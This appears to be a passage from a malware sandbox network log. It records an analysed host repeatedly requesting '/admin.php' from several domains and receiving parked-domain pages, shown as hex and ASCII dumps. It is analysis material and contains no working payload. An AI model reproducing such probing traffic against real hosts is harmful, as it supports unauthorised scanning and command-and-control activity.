63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 69 64 3d 22 32 31 66 64 63 61 32 32 38 31 38 33 33 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 61 72 61 6d 73 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 61 72 61 6d 73 3d 22 22 7d 69 66 28 21 28 22 63 6d 70 5f 68 6f 73 74 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 68 6f 73 74 3d 22 61 2e 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 6e 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 6e 3d 22 63 64 6e 2e 63 6f 6e 73 65 Data Ascii: b289<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.conse
Dec 2, 2023 18:04:41.190785885 CET	1274	IN	Data Raw: 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 72 6f 74 6f 3d 22 68 74 74 70 73 3a 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 6f Data Ascii: ntmanager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in window)){window.cmp_codesrc="1"}window.cmp_getsupportedLangs=function(){var b=["DE","EN","FR","IT","NO","DA","FI","ES","PT","RO","BG","ET","EL","GA","H
Dec 2, 2023 18:04:41.190803051 CET	1274	IN	Data Raw: 74 6f 55 70 70 65 72 43 61 73 65 28 29 29 7d 65 6c 73 65 7b 69 66 28 22 63 6d 70 5f 73 65 74 6c 61 6e 67 22 20 69 6e 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 6c 61 6e 67 21 3d 22 22 29 7b 63 2e 70 75 73 68 28 77 69 6e Data Ascii: toUpperCase())}else{if("cmp_setlang" in window&&window.cmp_setlang!=""){c.push(window.cmp_setlang.toUpperCase())}else{if(a.length>0){for(var d=0;d<a.length;d++){c.push(a[d])}}}}}if("language" in navigator){c.push(navigator.language)}if("userLa
Dec 2, 2023 18:04:41.190834999 CET	1274	IN	Data Raw: 61 72 20 6b 3d 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 68 29 3f 68 2e 63 6d 70 5f 70 72 6f 74 6f 3a 22 68 74 74 70 73 3a 22 3b 69 66 28 6b 21 3d 22 68 74 74 70 3a 22 26 26 6b 21 3d 22 68 74 74 70 73 3a 22 29 7b 6b 3d 22 68 74 74 70 73 3a Data Ascii: ar k=("cmp_proto" in h)?h.cmp_proto:"https:";if(k!="http:"&&k!="https:"){k="https:"}var g=("cmp_ref" in h)?h.cmp_ref:location.href;var j=u.createElement("script");j.setAttribute("data-cmp-ab","1");var c=x("cmpdesign","cmp_design" in h?h.cmp_de
Dec 2, 2023 18:04:41.190855980 CET	1274	IN	Data Raw: 65 6e 67 74 68 3d 3d 30 29 7b 74 3d 76 28 22 68 65 61 64 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3e 30 29 7b 74 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 7d 7d 76 61 72 20 6d 3d 22 6a 73 22 3b 76 61 72 20 70 3d 78 28 22 63 6d 70 Data Ascii: ength==0){t=v("head")}if(t.length>0){t[0].appendChild(j)}}}var m="js";var p=x("cmpdebugunminimized","cmpdebugunminimized" in h?h.cmpdebugunminimized:0)>0?"":".min";var a=x("cmpdebugcoverage","cmp_debugcoverage" in h?h.cmp_debugcoverage:"");if(
Dec 2, 2023 18:04:41.190931082 CET	1274	IN	Data Raw: 54 69 6d 65 6f 75 74 28 77 69 6e 64 6f 77 2e 63 6d 70 5f 61 64 64 46 72 61 6d 65 2c 31 30 2c 62 29 7d 7d 7d 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 72 63 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b Data Ascii: Timeout(window.cmp_addFrame,10,b)}}};window.cmp_rc=function(h){var b=document.cookie;var f="";var d=0;while(b!=""&&d<100){d++;while(b.substr(0,1)==" "){b=b.substr(1,b.length)}var g=b.substring(0,b.indexOf("="));if(b.indexOf(";")!=-1){var c=b.s
Dec 2, 2023 18:04:41.190951109 CET	1274	IN	Data Raw: 5f 67 70 70 73 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e 74 73 3b 5f 5f 67 70 70 2e 71 3d 5f 5f 67 70 70 2e 71 7c 7c 5b 5d 3b 69 66 28 21 61 2e 6c 65 6e 67 74 68 29 7b 72 65 74 75 72 6e 20 5f 5f 67 70 70 Data Ascii: _gppstub=function(){var a=arguments;__gpp.q=__gpp.q\|\|[];if(!a.length){return __gpp.q}var g=a[0];var f=a.length>1?a[1]:null;var e=a.length>2?a[2]:null;if(g==="ping"){return window.cmp_gpp_ping()}else{if(g==="addEventListener"){__gpp.e=__gpp.e\|\|
Dec 2, 2023 18:04:41.190967083 CET	1274	IN	Data Raw: 65 3a 68 2c 73 75 63 63 65 73 73 3a 67 2c 63 61 6c 6c 49 64 3a 62 2e 63 61 6c 6c 49 64 7d 7d 3b 64 2e 73 6f 75 72 63 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 61 3f 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 3a 65 2c 22 2a 22 29 7d 29 7d Data Ascii: e:h,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")})}if(typeof(c)==="object"&&c!==null&&"__uspapiCall" in c){var b=c.__uspapiCall;window.__uspapi(b.command,b.version,function(h,g){var e={__uspapiReturn:{returnValue
Dec 2, 2023 18:04:41.191195011 CET	1274	IN	Data Raw: 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 6f 62 6a 65 63 74 22 26 26 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 3d 3d 3d 22 75 6e Data Ascii: of(window[a])!=="function"&&typeof(window[a])!=="object"&&(typeof(window[a])==="undefined"\|\|window[a]!==null))){window[a]=window.cmp_gppstub;window[a].msgHandler=window.cmp_msghandler;window.addEventListener("message",window.cmp_msghandler,fal
Dec 2, 2023 18:04:41.191216946 CET	1274	IN	Data Raw: 79 6c 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 2f 73 6b 2d Data Ascii: yle.height="0px";imglog.style.width="0px";imglog.src="http://airanatoliava.org/sk-logabpstatus.php?a=UzBwZXZtRU5wWlRiWlp1ejJpdHpPTHNROW1rRDFKYXF2T3BMYnNCbDlQanc3cGQ1RFFGcHc3T0VOSW44V0xuWVVLN2YxSjBlRGd3ekFRd3lCZ3MrWGZBTVZUU1liNFJ4N0ZYWUNNU0FZQT
Dec 2, 2023 18:04:41.297282934 CET	1274	IN	Data Raw: 69 31 2e 63 64 6e 2d 69 6d 61 67 65 2e 63 6f 6d 2f 5f 5f 6d 65 64 69 61 5f 5f 2f 66 6f 6e 74 73 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2e 77 6f 66 66 32 22 29 20 66 6f 72 Data Ascii: i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2") format("woff2"),url("http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf") format("truetype"),url("http://i1.cdn-image.com/__media__/f

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	58753	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:40.762084961 CET	230	OUT	GET /admin.php HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:40.980372906 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:40 GMT Server: Apache Set-Cookie: vsid=927vr449082280872924832; expires=Thu, 30-Nov-2028 17:04:40 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_MbFVZuTRxZI86nrzzuysB8fnzsJEjn2+NvmHl09PncHdzwxZS1Dg84siEpI/EsJrsKFUGoveciEyXpXlLa5U3g== Content-Length: 2593 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4b 58 37 34 69 78 70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 34 2b 4c 32 65 6e 74 71 72 69 30 6c 7a 68 36 70 6b 41 61 58 4c 50 49 63 63 6c 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 52 79 6a 53 32 70 65 6e 45 43 41 77 45 41 41 51 3d 3d 5f 4d 62 46 56 5a 75 54 52 78 5a 49 38 36 6e 72 7a 7a 75 79 73 42 38 66 6e 7a 73 4a 45 6a 6e 32 2b 4e 76 6d 48 6c 30 39 50 6e 63 48 64 7a 77 78 5a 53 31 44 67 38 34 73 69 45 70 49 2f 45 73 4a 72 73 4b 46 55 47 6f 76 65 63 69 45 79 58 70 58 6c 4c 61 35 55 33 67 3d 3d 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 2f 70 78 2e 6a 73 3f 63 68 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 2f 70 78 2e 6a 73 3f 63 68 3d 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 41 42 50 44 65 74 65 63 74 28 29 7b 74 72 79 7b 69 66 28 21 61 62 70 29 20 72 65 74 75 72 6e 3b 76 61 72 20 69 6d 67 6c 6f 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6d 67 22 29 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 2f 73 6b 2d 6c 6f 67 61 62 70 73 74 61 74 75 73 2e 70 68 Data Ascii: <!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_MbFVZuTRxZI86nrzzuysB8fnzsJEjn2+NvmHl09PncHdzwxZS1Dg84siEpI/EsJrsKFUGoveciEyXpXlLa5U3g=="><head><script type="text/javascript">var abp;</script><script type="text/javascript" src="http://airanatoliava.org/px.js?ch=1"></script><script type="text/javascript" src="http://airanatoliava.org/px.js?ch=2"></script><script type="text/javascript">function handleABPDetect(){try{if(!abp) return;var imglog = document.createElement("img");imglog.style.height="0px";imglog.style.width="0px";imglog.src="http://airanatoliava.org/sk-logabpstatus.ph
Dec 2, 2023 18:04:40.980396986 CET	1274	IN	Data Raw: 70 3f 61 3d 57 45 63 35 52 45 6c 43 55 6a 5a 52 63 47 64 79 5a 47 31 77 65 6e 4e 61 4d 58 52 45 53 33 5a 48 63 55 5a 5a 54 6a 63 33 55 56 68 77 57 6a 46 59 5a 31 68 79 4d 32 5a 78 4e 48 68 32 65 6b 78 43 64 32 64 72 4e 33 6f 79 64 48 4a 33 65 56 Data Ascii: p?a=WEc5RElCUjZRcGdyZG1wenNaMXRES3ZHcUZZTjc3UVhwWjFYZ1hyM2ZxNHh2ekxCd2drN3oydHJ3eVl3RVM5Qy9oVEJwa3JYSnhwVHNZWUhWZ25kdEhjcU9XamJhaDFYcm8zY2o0OGxzSVBwb1JnWStFTTJBSnczOFByS1Vhckw=&b="+abp;document.body.appendChild(imglog);if(typeof abperurl !== "
Dec 2, 2023 18:04:40.980413914 CET	719	IN	Data Raw: 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 27 0d 0a 20 20 20 20 20 20 20 20 2b 20 27 73 72 63 3d 22 2f 2f 73 65 64 6f 70 61 72 6b 69 6e 67 2e 63 6f 6d 2f 66 72 6d 70 61 72 6b 2f Data Ascii: ext/javascript" language="JavaScript"' + 'src="//sedoparking.com/frmpark/' + window.location.host + '/' + 'Skenzor10' + '/park.js?reg_href_text_2=Renew+Now&reg_href_url_2=https%3A%2F%2Fads.networksolutio
Dec 2, 2023 18:04:41.061125994 CET	719	IN	Data Raw: 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 27 0d 0a 20 20 20 20 20 20 20 20 2b 20 27 73 72 63 3d 22 2f 2f 73 65 64 6f 70 61 72 6b 69 6e 67 2e 63 6f 6d 2f 66 72 6d 70 61 72 6b 2f Data Ascii: ext/javascript" language="JavaScript"' + 'src="//sedoparking.com/frmpark/' + window.location.host + '/' + 'Skenzor10' + '/park.js?reg_href_text_2=Renew+Now&reg_href_url_2=https%3A%2F%2Fads.networksolutio

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	58756	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:40.762500048 CET	227	OUT	GET /admin.php HTTP/1.1 Host: furnscales.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:41.124017000 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:40 GMT Server: Apache Set-Cookie: vsid=934vr449082280873186669; expires=Thu, 30-Nov-2028 17:04:40 GMT; Max-Age=157680000; path=/; domain=furnscales.com; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_JeWaeD72UH9+m4EHktjicrg6u7EgS3E5SL31GxphX1N/TD4Dy7EoCO4ghhg7G/x57HeAe+PIwQeOzKZ4NLT8PQ== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 61 66 64 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 21 22 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 22 20 69 6e 20 77 69 6e 64 6f 77 29 7b 77 69 6e 64 6f 77 2e 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 3d 74 72 75 65 7d 69 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 69 64 3d 22 32 31 66 64 63 61 32 32 38 31 38 33 33 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 61 72 61 6d 73 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 61 72 61 6d 73 3d 22 22 7d 69 66 28 21 28 22 63 6d 70 5f 68 6f 73 74 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 68 6f 73 74 3d 22 61 2e 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 6e 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 6e 3d 22 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d Data Ascii: afd6<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.consentm
Dec 2, 2023 18:04:41.124205112 CET	1274	IN	Data Raw: 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 72 6f 74 6f 3d 22 68 74 74 70 73 3a 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 6f 64 65 73 Data Ascii: anager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in window)){window.cmp_codesrc="1"}window.cmp_getsupportedLangs=function(){var b=["DE","EN","FR","IT","NO","DA","FI","ES","PT","RO","BG","ET","EL","GA","HR",
Dec 2, 2023 18:04:41.124222994 CET	1274	IN	Data Raw: 70 70 65 72 43 61 73 65 28 29 29 7d 65 6c 73 65 7b 69 66 28 22 63 6d 70 5f 73 65 74 6c 61 6e 67 22 20 69 6e 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 6c 61 6e 67 21 3d 22 22 29 7b 63 2e 70 75 73 68 28 77 69 6e 64 6f 77 Data Ascii: pperCase())}else{if("cmp_setlang" in window&&window.cmp_setlang!=""){c.push(window.cmp_setlang.toUpperCase())}else{if(a.length>0){for(var d=0;d<a.length;d++){c.push(a[d])}}}}}if("language" in navigator){c.push(navigator.language)}if("userLangu
Dec 2, 2023 18:04:41.124243021 CET	1274	IN	Data Raw: 6b 3d 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 68 29 3f 68 2e 63 6d 70 5f 70 72 6f 74 6f 3a 22 68 74 74 70 73 3a 22 3b 69 66 28 6b 21 3d 22 68 74 74 70 3a 22 26 26 6b 21 3d 22 68 74 74 70 73 3a 22 29 7b 6b 3d 22 68 74 74 70 73 3a 22 7d 76 Data Ascii: k=("cmp_proto" in h)?h.cmp_proto:"https:";if(k!="http:"&&k!="https:"){k="https:"}var g=("cmp_ref" in h)?h.cmp_ref:location.href;var j=u.createElement("script");j.setAttribute("data-cmp-ab","1");var c=x("cmpdesign","cmp_design" in h?h.cmp_desig
Dec 2, 2023 18:04:41.124262094 CET	1274	IN	Data Raw: 74 68 3d 3d 30 29 7b 74 3d 76 28 22 68 65 61 64 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3e 30 29 7b 74 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 7d 7d 76 61 72 20 6d 3d 22 6a 73 22 3b 76 61 72 20 70 3d 78 28 22 63 6d 70 64 65 62 Data Ascii: th==0){t=v("head")}if(t.length>0){t[0].appendChild(j)}}}var m="js";var p=x("cmpdebugunminimized","cmpdebugunminimized" in h?h.cmpdebugunminimized:0)>0?"":".min";var a=x("cmpdebugcoverage","cmp_debugcoverage" in h?h.cmp_debugcoverage:"");if(a==
Dec 2, 2023 18:04:41.230825901 CET	1274	IN	Data Raw: 65 6f 75 74 28 77 69 6e 64 6f 77 2e 63 6d 70 5f 61 64 64 46 72 61 6d 65 2c 31 30 2c 62 29 7d 7d 7d 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 72 63 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3b Data Ascii: eout(window.cmp_addFrame,10,b)}}};window.cmp_rc=function(h){var b=document.cookie;var f="";var d=0;while(b!=""&&d<100){d++;while(b.substr(0,1)==" "){b=b.substr(1,b.length)}var g=b.substring(0,b.indexOf("="));if(b.indexOf(";")!=-1){var c=b.subs
Dec 2, 2023 18:04:41.230884075 CET	1274	IN	Data Raw: 70 73 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e 74 73 3b 5f 5f 67 70 70 2e 71 3d 5f 5f 67 70 70 2e 71 7c 7c 5b 5d 3b 69 66 28 21 61 2e 6c 65 6e 67 74 68 29 7b 72 65 74 75 72 6e 20 5f 5f 67 70 70 2e 71 7d Data Ascii: pstub=function(){var a=arguments;__gpp.q=__gpp.q\|\|[];if(!a.length){return __gpp.q}var g=a[0];var f=a.length>1?a[1]:null;var e=a.length>2?a[2]:null;if(g==="ping"){return window.cmp_gpp_ping()}else{if(g==="addEventListener"){__gpp.e=__gpp.e\|\|[];
Dec 2, 2023 18:04:41.230902910 CET	1274	IN	Data Raw: 2c 73 75 63 63 65 73 73 3a 67 2c 63 61 6c 6c 49 64 3a 62 2e 63 61 6c 6c 49 64 7d 7d 3b 64 2e 73 6f 75 72 63 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 61 3f 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 3a 65 2c 22 2a 22 29 7d 29 7d 69 66 28 Data Ascii: ,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")})}if(typeof(c)==="object"&&c!==null&&"__uspapiCall" in c){var b=c.__uspapiCall;window.__uspapi(b.command,b.version,function(h,g){var e={__uspapiReturn:{returnValue:h,
Dec 2, 2023 18:04:41.230921984 CET	1274	IN	Data Raw: 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 6f 62 6a 65 63 74 22 26 26 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 3d 3d 3d 22 75 6e 64 65 66 Data Ascii: window[a])!=="function"&&typeof(window[a])!=="object"&&(typeof(window[a])==="undefined"\|\|window[a]!==null))){window[a]=window.cmp_gppstub;window[a].msgHandler=window.cmp_msghandler;window.addEventListener("message",window.cmp_msghandler,false)
Dec 2, 2023 18:04:41.295909882 CET	1274	IN	Data Raw: 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 73 6b 2d 6c 6f 67 61 62 70 73 74 61 74 75 73 Data Ascii: t="0px";imglog.style.width="0px";imglog.src="http://furnscales.com/sk-logabpstatus.php?a=VkJsOWV6Vk4vdC9PdFVhZGt0SjFzejNpWTFvRTVGajFnYUhLYW9XSlg4UkoxaGpyYUdDWkd2ZThRcVU2eGx2clpSa1J6UEZMVVVVS3RpNlpuOUhQU2JIeHpYeEo0WEVPTkI5ODlUTXFhRlY5NVFCWFFRMj
Dec 2, 2023 18:04:41.337439060 CET	1274	IN	Data Raw: 5f 6d 65 64 69 61 5f 5f 2f 66 6f 6e 74 73 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2e 77 6f 66 66 32 22 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 75 72 6c 28 22 Data Ascii: _media__/fonts/montserrat-regular/montserrat-regular.woff2") format("woff2"),url("http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf") format("truetype"),url("http://i1.cdn-image.com/__media__/fonts/montserrat-re

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	58765	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:40.763387918 CET	227	OUT	GET /admin.php HTTP/1.1 Host: furnscales.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
